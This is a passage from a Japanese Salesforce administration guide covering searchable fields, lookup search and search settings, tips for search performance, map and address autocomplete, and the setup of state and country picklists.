ません。ソリューションを検索するには、グローバル検索または [ソリューショ
ン] タブの [ソリューションの検索] ボタンを使用します。

検索可能な項目: トピック

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

サイドバー検索と高度な検索はいずれも、トピックの検索には適していません。
トピックを検索するには、グローバル検索を使用します。

グローバル検索高度な検索サイドバー検索検索可能な項目

説明

トピック名
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検索可能な項目: ユーザ

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: Chatterを使用していて、人を検索する場合は、「検索可能な項目: 人」
を参照してください。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

自己紹介

住所

メール

名

姓

ミドルネー
ム

名前

ニックネー
ム

電話

[レコード
ID]  (15 文字
のレコード
ID のみ)

接尾辞

タイトル

ユーザ名

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

(先行するゼロは
入力不要です。)

テキスト、テキ
ストエリア、ロ
ングテキストエ
リア、リッチテ
キストエリア、
メール、電話の
すべてのカスタ
ム項目

検索可能な項目: 作業指示

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

説明

件名

作業指示番
号

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

リア、ロングテ
キストエリア、
リッチテキスト
エリア、メー
ル、電話のすべ
てのカスタム項
目

検索可能な項目: 作業指示品目

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

説明

作業指示品
目番号

すべてのカ
スタム自動
採番項目
と、外部 ID

設定された
すべてのカ
スタム項目
(先行するゼ
ロは入力不
要です)。

テキスト、
テキストエ
リア、ロン
グテキスト
エリア、
リッチテキ
ストエリ
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グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

ア、メール、電
話のすべてのカ
スタム項目

ルックアップ検索の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

どの列がルックアップ検索結果に表示されるのかを選択します。

Salesforce Classic でのルックアップ検索の設定
高度なルックアップおよびルックアップオートコンプリートを有効にして、
ルックアップ検索条件項目をカスタマイズします。
Lightning Experience でのルックアップダイアログ検索の設定
[検索結果] 検索レイアウトカスタマイズ設定を使用して、どの列がルックアッ
プダイアログ検索結果に表示されるのかをカスタマイズします。ユーザはこ
れらの列を使用して絞り込みを行うことはできません。これらの列は、関連
付けるレコードの判断に役立つコンテキストを提供することを目的としてい
ます。

Salesforce Classic でのルックアップ検索の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

高度なルックアップおよびルックアップオートコンプリートを有効にして、ルッ
クアップ検索条件項目をカスタマイズします。

高度なルックアップの有効化
高度なルックアップを有効にすると、ユーザは、ルックアップでワイルド
カードを使用し、結果の並び替え、検索条件の適用、およびページ操作を行
うことができます。高度なルックアップ検索は、特定のオブジェクトのみに
使用できます。
ルックアップ検索条件項目の指定
高度なルックアップを有効にした後、ユーザがルックアップ検索結果の検索条件に使用できる項目を指定
します。項目を指定しないと、ユーザが高度なルックアップダイアログで検索条件を使用できません。
ルックアップのオートコンプリートの有効化
ルックアップのオートコンプリート機能を有効にすると、ユーザが、参照項目を編集するときに、最近使
用した一致するレコードの動的リストから項目を選択できます。この機能は、取引先、取引先責任者、ユー
ザ、商談、およびカスタムオブジェクトのルックアップでサポートされています。
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高度なルックアップの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

高度なルックアップを有
効にする
• 「アプリケーションの

カスタマイズ」

高度なルックアップを有効にすると、ユーザは、ルックアップでワイルドカー
ドを使用し、結果の並び替え、検索条件の適用、およびページ操作を行うこと
ができます。高度なルックアップ検索は、特定のオブジェクトのみに使用でき
ます。

メモ: カスタムオブジェクトがカスタムタブに関連付けられている場合に
のみ、カスタムオブジェクトレコードを Salesforce で検索できます。ユーザ
は、表示用のタブを追加する必要はありません。

1. [設定] から、[クイック検索] ボックスに「検索設定」と入力し、[検索設定]

を選択します。
2. [ルックアップ設定] で、高度なルックアップ機能を有効にするオブジェクト

を選択します。現在、取引先、取引先責任者、ユーザ、およびカスタムオブ
ジェクトのルックアップでのみ、この機能を使用できます。

3. [保存] をクリックします。
高度なルックアップを有効にした後、ユーザがルックアップ検索結果の検索条
件に使用できる項目を指定します。項目を指定しないと、ユーザが高度なルックアップダイアログで検索条件
を使用できません。高度なルックアップを使用するよう設定されている項目では、1 文字検索はサポートされ
ていません (中国語、日本語、韓国語、およびタイ語の検索は除く)。また、検索語の最初にワイルドカードは
使用できません。

メモ: 組織で高度なルックアップを有効にすると、作成するVisualforceページに対しても有効になります。

関連トピック:

Salesforce Classic でのルックアップ検索の設定

ルックアップ検索条件項目の指定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップ検索条件項
目を指定する
• 「アプリケーションの

カスタマイズ」

高度なルックアップを有効にした後、ユーザがルックアップ検索結果の検索条
件に使用できる項目を指定します。項目を指定しないと、ユーザが高度なルッ
クアップダイアログで検索条件を使用できません。
1. 取引先、取引先責任者、商談、ユーザ、またはカスタムオブジェクトの管理

設定から、[検索レイアウト] に移動します。
2. [ルックアップ検索条件項目] レイアウトで、[編集] をクリックします。
3. 矢印を使用して、レイアウトの項目を追加または削除し、項目の表示順序を

定義します。[選択済みの項目] リストには、検索条件項目を 6 つまで追加で
きます。複数の項目を選択するには Ctrl キーを押しながらクリックします。
連続した複数項目を選択するには Shift キーを押しながらクリックします。
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4. [保存] をクリックします。

関連トピック:

Salesforce Classic でのルックアップ検索の設定
オブジェクト管理設定の検索

ルックアップのオートコンプリートの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップのオートコ
ンプリートを有効化する
• 「アプリケーションの

カスタマイズ」

ルックアップのオートコ
ンプリートを使用する
• ルックアップ項目を含

むレコードへの「編
集」

ルックアップのオートコンプリート機能を有効にすると、ユーザが、参照項目
を編集するときに、最近使用した一致するレコードの動的リストから項目を選
択できます。この機能は、取引先、取引先責任者、ユーザ、商談、およびカス
タムオブジェクトのルックアップでサポートされています。
1. [設定] から、[クイック検索] ボックスに「検索設定」と入力し、[検索設定]

を選択します。
2. [検索設定] で、ルックアップ項目のオートコンプリートを有効にするオブジェ

クトを選択します。現在この機能は、取引先、取引先責任者、商談、ユー
ザ、およびカスタムオブジェクトのルックアップでのみ使用できます。

3. [保存] をクリックします。

関連トピック:

Salesforce Classic でのルックアップ検索の設定

Lightning Experience でのルックアップダイアログ検索の設定

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ルックアップ検索条件項
目を指定する
• 「アプリケーションの

カスタマイズ」

[検索結果] 検索レイアウトカスタマイズ設定を使用して、どの列がルックアップ
ダイアログ検索結果に表示されるのかをカスタマイズします。ユーザはこれら
の列を使用して絞り込みを行うことはできません。これらの列は、関連付ける
レコードの判断に役立つコンテキストを提供することを目的としています。
[検索レイアウト]カスタマイズ設定の[検索結果]を使用して、グローバル検索お
よびルックアップダイアログ検索の両方の検索結果に表示される項目を変更し
ます。[ルックアップダイアログ] を個別に更新する必要はありません。
検索レイアウトの項目の順序は、インスタント結果に表示されるセカンダリ項
目にも影響します。このステップで選択された 2 番目の使用可能な項目は、イ
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ンスタント結果のセカンダリ項目として表示されます。使用不可能な項目の例としては、数式項目、HTML 形
式の項目、インライン画像項目、選択リスト、ロングテキスト項目があります。

関連トピック:

Lightning Experience でのオブジェクト管理設定の検索

Salesforce Classic の検索設定の定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

検索設定を変更する
• 「アプリケーションの

カスタマイズ」

ドキュメントの内容の検索、CJKT 検索最適化、サイドバー検索オートコンプリー
トなどを有効にします。ルックアップ設定、オブジェクトあたりの検索結果数、
ルックアップ設定数を設定します。
組織の検索設定を変更するには、[クイック検索] ボックスに「検索設定」と入
力し、[検索設定] を選択します。

検索設定

説明項目

この設定を有効にすると、ユーザは
[私の所有データ]オプションを使用で
きるようになります。このオプション
により、ユーザがサイドバーに検索ク
エリを入力するときに、自身がレコー

検索の [私の所有データ] チェックボッ
クスを有効化

ド所有者であるレコードのみを対象に
することができます。

メモ: [高度な検索] に表示される
[私の所有データ] オプション
は、この設定に関係なくユーザ
がいつでも使用できます。

この設定を有効にすると、ドキュメン
トの全文検索を実行できます。新しい

ドキュメントのコンテンツ検索の有効化

ドキュメントのアップロードまたは古
いドキュメントの置換が行われると、
その内容を検索語としてドキュメント
を検索できます。この設定はドキュメ
ントオブジェクトの検索にのみ適用さ
れます。

この設定を有効にすると、サイドバー
検索での中国語、日本語、および韓国

コンテンツが主に日本語、中国語、また
は韓国語の場合、検索の最適化を有効化

語の検索が最適化されます。この最適
化は、サイドバー検索に影響を及ぼし
ます。また、サイドバー検索とグロー
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説明項目

バル検索でリードレコードに対して[重複の検索]で取
引先検索を行う場合にも影響を及ぼします。

メモ: ユーザが中国語、日本語、または韓国語
で検索することが多い場合、および検索可能項
目の入力文字のほとんどがこれらの言語である
場合には、このオプションを有効にします。コ
ンテンツおよび検索のほとんどに他の言語が使
用されていると思われる場合は、このオプショ
ンをオフにしてください。

この設定を有効にすると、ユーザのオートコンプリー
トルックアップおよび空白のユーザルックアップから

空白およびオートコンプリートルックアップに最近参照
したユーザレコードを使用

返されるレコードのリストが、最近参照したユーザレ
コードから取得されます。この設定は、ユーザオブ
ジェクトのルックアップにのみ適用されます。
この設定が無効の場合、組織全体から最近アクセスし
たユーザレコードのリストがダイアログボックスに表
示されます。

この設定を有効にすると、ドロップダウンが表示さ
れ、ユーザはタグ内、特定のオブジェクト内、または

サイドバー検索のドロップダウンリストの有効化

すべてのオブジェクトで検索するかどうかを選択でき
ます。

この設定を有効にした場合、検索語の入力を開始する
と、サイドバー検索に、最近表示されたレコードの該
当リストが表示されます。

サイドバー検索オートコンプリートの有効化

この設定を有効にすると、検索結果が 1 つの項目だけ
を返した場合、検索結果ページをスキップし、レコー
ドの詳細ページに移動します。

サイドバー検索および高度な検索の単一検索結果ショー
トカットの有効化

メモ: この設定は、タグ、ケースコメント (高度
な検索の場合)、およびグローバル検索には適用
されません。検索結果が 1 つのタグ、ケースコ
メント、グローバル検索の項目である場合でも、
検索結果ページは表示されます。

[オブジェクト別検索結果表示件数] 領域では、各オブ
ジェクトについて [検索結果] ページに表示する件数を
設定できます。

オブジェクト別検索結果表示件数

[ルックアップ設定] 領域で、拡張したルックアップ可
能オブジェクトの高度なルックアップとルックアップ

ルックアップ設定

429

検索の設定Salesforce 組織の設定および管理



説明項目

オートコンプリート、および任意のカスタムオブジェ
クトルックアップを有効にできます。

関連トピック:

検索を高速化するためのガイドライン

Salesforce Classic での検索結果の絞り込みの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

検索レイアウトを変更す
る
• 「アプリケーションの

カスタマイズ」

システム管理者は、ユーザが検索結果の絞り込みで使用できる検索条件を選択
します。ユーザが簡単に検索結果間を移動して適切なレコードを見つけられる
ように、オブジェクトごとに適切な検索条件を選択することが重要です。
1. [検索結果] ページのオブジェクトの関連リストで、[カスタマイズ] > [すべて

のユーザの検索条件] を選択します。
または、オブジェクトの管理設定から [検索レイアウト] に移動し、[検索条件
項目] の [編集] をクリックします。

2. 列を選択するには、[追加] および [削除] を使用します。
3. 列の順序を変更するには、[上へ] および [下へ] を使用します。
4. [保存] をクリックします。

メモ: 社内組織のオブジェクトに定義された検索結果の絞り込みは、コミュ
ニティの該当するオブジェクトの検索結果にも適用されます。

関連トピック:

オブジェクト管理設定の検索

検索の過多を軽減するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レコードが検索結果に表示されないとユーザから報告を受けた場合、より的確
な結果を得るために、具体的な検索語を入力して検索範囲を絞り込むようにユー
ザに促します。
検索エンジンでは、検索プロセスの各フェーズで分析するレコード数に制限が
適用されます。制限があることでパフォーマンスが維持され、ユーザが無関係
なレコードで圧倒されることがなくなるため、制限は重要です。ただし、ユー
ザが探しているレコードが検索制限内に含まれないことがあるため、ユーザが
いつも有効な一致結果すべてを取得できるとは限りません。この動作は検索の
過多または切り捨てと呼ばれます。検索の過多は、通常、次の場合に発生しま
す。
• ユーザのレコードに対する権限またはアクセス権が制限されている。したがって、ユーザがアクセス権を

持っているレコードが、アクセス権限によって絞り込まれた結果セットに含まれない場合があります。
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• ユーザが使用した検索語が大量のレコードに一致する。検索が非常に多くのレコードに一致するため、検
索エンジンは、ユーザが探しているレコードを特定できません。

検索エンジンの関連性アルゴリズムと共有権限によって検索結果で返されるレコードと結果の順序が決まりま
す。検索の過多と切り捨てを避ける方法は、次のとおりです。
ユーザに、より具体的な検索語を使用することを推奨する

検索では、ユーザが一意の検索語を入力した場合に最適な結果が得られます。「Acme Company San

Francisco」で検索した場合は、「Acme」で検索した場合よりも関連性の高い結果が返されます。
ユーザに、検索範囲を狭めることを推奨する

検索結果ページが表示されているときに、検索範囲を目的のレコードのオブジェクト種別に限定します。
検索が再実行されます。完全な結果セットの制限が単一のオブジェクトに適用されているため、ユーザは
より多くの結果を参照できる可能性があります。

リストビューを作成する
繰り返し検索する取引先責任者、ドキュメント、その他のオブジェクトレコードの特定のセットを表示す
るリストビューを作成します。リストビューにはレコード数の制限がなく、順序が設定されています。共
有ルールも適用されます。

検索を高速化するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

カスタムオブジェクトと外部オブジェクトの検索を無効化し、ピーク時間外の
一括アップロードをスケジュールすると、検索を高速化できます。
検索語に一致する情報を含むオブジェクトの項目が検索可能な場合にのみレコー
ドが検索結果に表示されます。
検索可能なオブジェクトのレコードが作成または更新された後、更新されたテ
キストを検索できるようになるまで最大 15 分かかることがあります。
組織の検索を高速にするには、次の作業を行います。
ユーザがあまり検索していないカスタムオブジェクトの検索を無効にする

カスタムオブジェクト設定ページの [検索を許可]設定を有効にして、ユーザ
が検索可能なカスタムオブジェクトを選択します。カスタムオブジェクトのレコードを検索可能にする必
要がない場合は、そのカスタムオブジェクトの検索を無効化します。ユーザがカスタムオブジェクトのレ
コードを検索する必要がなくても検索可能にしていると、組織全体で検索速度が低下します。
デフォルトで、新しいカスタムオブジェクトの検索は無効になっています。検索を無効にしても、レポー
トとリストビューには影響を及ぼしません。

メモ: カスタムオブジェクトがカスタムタブに関連付けられている場合にのみ、カスタムオブジェク
トレコードを Salesforce で検索できます。ユーザは、表示用のタブを追加する必要はありません。

ユーザがあまり検索していない外部オブジェクトの検索を無効にする
外部オブジェクトの検索を無効にするには、その設定ページで [検索を許可]をオフにします。SOSLおよび
Salesforce 検索に外部オブジェクトを含めるには、外部オブジェクトと外部データソースの両方で検索を有
効にします。
デフォルトでは、新規外部オブジェクトの検索は無効になっています。ただし、外部データソースを検証
して同期し、自動的に外部オブジェクトを作成することができます。外部データソースの検索が有効になっ
ていると、同期によって常に外部オブジェクトの検索が有効になります (その逆もあります)。
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カスタムオブジェクトと同様に、必要がないのに外部オブジェクトを検索可能にすると、組織全体で検索
速度が低下します。

組織を一度に大幅に変更しないようにする
データインポートなどで同時に多数のレコードを作成または更新すると、各レコードが検索可能になるま
でに必要な時間が長くなります。頻繁に同時更新を行うユーザが多数存在する大規模な組織の場合、一括
アップロードおよびバックグラウンドプロセスがピーク時以外に実行されるようにスケジュールします。

地図およびロケーションサービスが利用可能に
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

地図およびロケーション
設定を変更する
• 「アプリケーションの

カスタマイズ」

地図およびロケーションサービスでは、Google マップを使用して標準住所項目
の地図を表示し、Visualforce 地図を作成できます。また、ユーザがオートコンプ
リートを使用して新しい住所を入力できます。
マップ画像を生成するには、住所に町名・番地および市区郡項目に加え、都道
府県、郵便番号、または国のいずれかが含まれている必要があります。住所項
目に必須情報のいずれかが欠けている場合、レコードの詳細ページにマップが
表示されません。
住所のマップ画像は静的ですが、マップ画像をクリックすると、デスクトップ
では新しいブラウザタブに Google マップが開き、モバイルデバイスでは地図ア
プリケーションが開きます。
組織でSalesforce1オフラインアクセスが有効になっていると、ユーザのデバイス
がオフラインのときにマップは表示されません。
組織の地図およびロケーションサービスを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「マップ」と入力し、[マップおよび

場所の設定] を選択して [編集] をクリックします。
2. [マップおよび場所のサービスを有効化] をオンにします。
3. [保存] をクリックします。

標準住所のオートコンプリート
標準住所でオートコンプリートを有効にすると、Salesforce1ユーザは標準住所項目にテキストを入力し、選
択リストに一致する住所の候補を表示できます。
選択リストからの州と国の選択の許可
州選択リストと国選択リストを使用すると、都道府県および国のデータをテキスト項目に入力する代わり
に、事前定義の標準化されたリストから選択できます。これにより、データをすばやく簡単に入力できま
す。データがクリーンになるため、レポートやダッシュボードなどの他の用途にデータを活用できます。
入力ミス、代替スペル、ジャンクデータを防止して、APIによって更新されたレコード内ででもデータの整
合性が保たれます。
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標準住所のオートコンプリート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

地図およびロケーション
設定を変更する
• 「アプリケーションの

カスタマイズ」

標準住所でオートコンプリートを有効にすると、Salesforce1 ユーザは標準住所項
目にテキストを入力し、選択リストに一致する住所の候補を表示できます。
以下の国については、標準住所のオートコンプリート選択リストの結果が最適
化されています。
• USA

• 日本
• イギリス
• カナダ
• オーストラリア
• ドイツ
• フランス
• オランダ
• ブラジル
• スペイン
• ロシア
• スウェーデン
標準住所項目のオートコンプリートを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「マップ」と入力し、[マップおよび場所の設定] を選択して [編集]

をクリックします。
2. [標準の住所項目でのオートコンプリートを有効化] をオンにします。
3. [保存] をクリックします

メモ:

• 標準住所項目のオートコンプリートは、Salesforce1およびLightning Experienceのすべてのバージョンで使
用できます。

選択リストからの州と国の選択の許可

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

州選択リストと国選択リストを使用すると、都道府県および国のデータをテキ
スト項目に入力する代わりに、事前定義の標準化されたリストから選択できま
す。これにより、データをすばやく簡単に入力できます。データがクリーンに
なるため、レポートやダッシュボードなどの他の用途にデータを活用できます。
入力ミス、代替スペル、ジャンクデータを防止して、APIによって更新されたレ
コード内ででもデータの整合性が保たれます。
選択リストに含まれる国および都道府県は、ISO-3166 標準値に基づいており、他
のアプリケーションと互換性があります。
州選択リストと国選択リストは、取引先、キャンペーンメンバー、取引先責任
者、契約、リード、注文、個人取引先、見積、サービス契約標準オブジェクト
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の納入先、請求先、郵送先、および「その他」住所項目に使用できます。選択リストは、[設定] でのユーザお
よび会社の管理にも使用できます。選択リストを使用するには、まず、国を選択してから、自動的に指定され
る州選択リストからオプションを選択します。
Salesforceで都道府県項目や国項目を使用できる次のほとんどの場所で州選択リストと国選択リストを使用でき
ます。
• レコードの編集ページと詳細ページ
• リストビュー、レポート、ダッシュボード
• 検索条件、関数、ルール、割り当て
州選択リストと国選択リストは、検索もでき、トランスレーションワークベンチでサポートされています。

州選択リストと国選択リストの制限
州選択リストと国選択リストには、デフォルトで 239 か国が含まれています。さらに、米国、カナダ、オース
トラリア、ブラジル、中国、インド、アイルランド、イタリア、メキシコの州も含まれています。州選択リス
トと国選択リストに含まれる都道府県または国が 1,000 を超えると、パフォーマンスが低下する場合がありま
す。州選択リストと国選択リストは、次の場合には動作しません。
• Salesforce to Salesforce

• Salesforce Classic Mobile

• Connect Offline

• Visual Workflow または変更セット
組織でData.comを使用している場合は、標準の州選択リストと国選択リストに含まれていない都道府県および
国がData.comレコードに含まれる可能性があります。Data.comユーザがこのようなレコードを追加またはクリー
ンアップする前に、これらの都道府県および国を選択リストに追加する必要があります。組織で使用する場合
に選択リストに追加する必要がある州と国は、次のとおりです。
• 米サモア (AS)

• グアム (GU)

• 香港 (HK)

• マーシャル諸島 (MH)

• オランダ領アンティル諸島 (AN)

• 北マリアナ諸島 (MP)

• セルビア・モンテネグロ (CS)

• その他の米領諸島 (UM)

選択リストの表示ラベル (コード値ではなく) が、都道府県項目と国項目のレポートに表示されます。ユーザに
都道府県名または国名が表示される場所のすべてに省略形のコード値を表示するには、手動で [州名] または
[国名] の表示ラベルをコード値に変更します (編集手順は、「州選択リストと国選択リストの設定」 (ページ438)

を参照)。レコードの都道府県コード値および国コード値にアクセスするには、ワークベンチまたはデータロー
ダの StateCode または CountryCode 項目を使用します。
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州選択リストと国選択リストの実装
テキストベースの都道府県項目および国項目から州選択リストおよび国選択リストに変換する方法は次のとお
りです。
1. 組織で使用する都道府県および国の値を設定します。

このステップでは都道府県と国の値をカスタマイズできるため、実行することを強くお勧めします。これ
により、Salesforceと統合したサードパーティシステムで都道府県および国データを引き続き使用できます。

2. 組織のデータとカスタマイズをスキャンし、切り替えによって受ける影響を確認します。
新しい項目種別で引き続き動作するように、データを変換し、リストビュー、レポート、ワークフロールー
ルなどのカスタマイズを更新する必要があります。

3. 既存のデータを変換します。
変換処理では、組織内のさまざまな値を標準選択リストの値に対応付けることができます。たとえば、U.S、
USA、および United States を US に対応付けることができます。

4. ユーザの選択リストを有効化します。
値の設定、組織のスキャン、既存データの変換を行わずに州選択リストと国選択リストを有効にすると、
ユーザは新規レコードで選択リストを使用できます。ただし、すべての既存のデータは新しい形式と互換
性がないため、2 つの項目形式間でデータの一貫性と整合性が損なわれる可能性があります。

5. 必要に応じて、最初のスキャン以降に作成または編集されたカスタマイズまたはレコードを再スキャンし
て修正します。

州選択リストと国選択リストを実装するためのステップバイステップガイドは、「州選択リストと国選択リス
トの実装」を参照してください。

州選択リストと国選択リストのインテグレーション値
インテグレーション値とは、都道府県または国コードにリンクしているカスタマイズ可能なテキスト値で
す。標準の都道府県および国のインテグレーション値は、デフォルトでは完全な ISO 標準の都道府県および
国名になります。インテグレーション値は、カスタム項目およびオブジェクトの API 名と同様に機能しま
す。インテグレーション値を設定すると、州選択リストと国選択リストを有効にする前に設定したインテ
グレーションが引き続き機能できます。
州選択リストと国選択リストの設定
州選択リストと国選択リストを設定すると、Salesforce組織で使用可能にする都道府県と国を選択できます。
設定すると、データのインポート、外部システムの操作、メタデータ APIからの選択リストデータへのアク
セスなどの目的で、州選択リストと国選択リストを使用できるようになります。
住所選択リストの標準の国
都道府県と国の詳細の編集
州選択リストおよび国選択リストとメタデータ API

多くの州選択リストと国選択リストのインテグレーション値を編集する場合、[設定] で値を編集するより
もメタデータ API を使用する方が効率的です。
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都道府県および国のデータとカスタマイズをスキャンするための準備
テキストベースの都道府県項目および国項目を標準化された州選択リストおよび国選択リストに切り替え
る前に、変更による組織への影響を確認するために組織をスキャンします。この検出プロセスにより、都
道府県および国データが組織内のどこにどのように表示されるかが判明します。また、このデータがカス
タマイズのどこで使用されているか (リストビューやレポートなど) も判明します。スキャン結果を分析し
たら、データの変換、カスタマイズの更新、州選択リストと国選択リストの有効化を計画できます。
都道府県および国のデータとカスタマイズのスキャン
都道府県および国データの変換の準備
都道府県および国データの変換
テキストベースの都道府県および国データを選択リストと互換性のある値に変換するには、特定のテキス
ト値を選択し、その値に対応付ける標準値を選択します。たとえば、出現するすべての「USA」を選択し
て、「United States」に変更することができます。
州選択リストと国選択リストの有効化および無効化
州選択リストと国選択リストは、有効化するとすぐにユーザが使用できるようになります。ただし、Salesforce

で既存のレコードの ISO コード項目に値が入力されるまでに時間がかかる場合があります。コード項目に値
が入力される前にユーザがレコードの都道府県または国を編集しようとすると、コード値を選択するよう
に要求されます。
州選択リストと国選択リストの項目同期ロジック
州選択リスト値および国選択リスト値を含むレコードを保存すると、Salesforce によってレコードの都道府
県および国のインテグレーション値とコード値が同期されます。レコード詳細ページで都道府県および国
のインテグレーション値を直接編集することはできません。レコードの都道府県または国のインテグレー
ション値を直接編集するには、ワークフロー、Apexコード、APIインテグレーションなどを使用する必要が
あります。
州選択リストと国選択リストのエラーメッセージ
都道府県または国のコードとテキスト値が一致しないレコードを保存しようとすると、さまざまなエラー
が発生することがあります。ここでは、それらのエラーメッセージについて解説します。

州選択リストと国選択リストのインテグレーション値

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

インテグレーション値とは、都道府県または国コードにリンクしているカスタ
マイズ可能なテキスト値です。標準の都道府県および国のインテグレーション
値は、デフォルトでは完全な ISO 標準の都道府県および国名になります。インテ
グレーション値は、カスタム項目およびオブジェクトのAPI名と同様に機能しま
す。インテグレーション値を設定すると、州選択リストと国選択リストを有効
にする前に設定したインテグレーションが引き続き機能できます。
州選択リストと国選択リストを有効にすると、テキスト型の[都道府県]および
[国] 項目が [インテグレーション値] 項目として再設定されます。レポートと
リストビューでは、[インテグレーション値]項目は [都道府県 (テキストのみ)]

および [国 (テキストのみ)] と呼ばれます。さらに、[都道府県 (テキストの
み)] および [国 (テキストのみ)] 項目ごとに、選択リスト型の [都道府県コード] または [国コード] 項目が
作成されます。組織に設定されている州選択リスト値と国選択リスト値によって、これらのコード項目で使用
可能な値が決まります。

436

地図およびロケーションサービスが利用可能にSalesforce 組織の設定および管理



各州選択リスト値または国選択リスト値の項目として、[有効]、[参照可能]、[名前]、[コード]、[インテグ
レーション値]などがあります。[住所(請求先)]、[住所(納入先)]などで使用される州選択リストと国選択リ
ストのすべてが、ユーザが作成した州選択リスト値と国選択リスト値にアクセスできます。都道府県コードま
たは国コードを保存すると、レコードで都道府県と国に関する他の情報にアクセスできるようになります。
デフォルトでは、都道府県と国の [名前] および [インテグレーション値] 項目には同一値が含まれます。[名
前]項目の値は、選択リストを操作するユーザに表示されます。[インテグレーション値]は次の機能で使用さ
れます。
• Apex クラスおよびトリガ
• Visualforce ページ
• SOQL クエリ
• API クエリおよびインテグレーション
• 割り当てルール、AutoResponse ルール、入力規則、およびエスカーレーションルール
• ワークフロールール
• メールテンプレート
• カスタムボタンとカスタムリンク
• 項目セットのカスタマイズ
• レポートとリストビュー
レコードのコード値を更新すると、そのレコードの [都道府県 (テキストのみ)]または [国 (テキストのみ)]

列に、対応するインテグレーション値が入力されます。同様に、都道府県または国の [(テキストのみ)] 列を
有効なインテグレーション値で更新すると、対応する都道府県または国コード列の同期が維持されます。州選
択リストおよび国選択リストを有効にした後で、組織のインテグレーション値を変更できます。ただし、選択
リストの都道府県および国のインテグレーション値を更新した場合、レコード上にあるそのインテグレーショ
ン値は更新されません。名前値はレコードに保存されません。代わりに、レコードの [都道府県コード] また
は [国コード]値に基づいてSalesforceから取得されます。選択リストの都道府県または国で [名前]と [インテ
グレーション値]の項目値が異なる場合、レポートまたはリストビュー検索条件で正しい値が使用されている
ことを確認します。State および Country 条件では名前を使用し、State (text only) および Country

(text only)条件ではインテグレーション値を使用します。このように使用しないと、レポートですべての
関連レコードを取得することができません。
インテグレーション値の編集は、[設定] で、またはメタデータ API を使用して行います。都道府県と国の [名
前] 項目は [設定] でのみ編集できます。メタデータ API では、[名前] 項目は label、[インテグレーション値]

項目は integrationValue と呼ばれます。

関連トピック:

選択リストからの州と国の選択の許可
都道府県と国の詳細の編集
州選択リストと国選択リストの項目同期ロジック
州選択リストと国選択リストのエラーメッセージ
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州選択リストと国選択リストの設定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

州選択リストと国選択リ
ストを設定する
• 「すべてのデータの編

集」

州選択リストと国選択リストを設定すると、Salesforce 組織で使用可能にする都
道府県と国を選択できます。設定すると、データのインポート、外部システム
の操作、メタデータ APIからの選択リストデータへのアクセスなどの目的で、州
選択リストと国選択リストを使用できるようになります。
選択リストの設定は、ユーザが州選択リストと国選択リストを使用できるよう
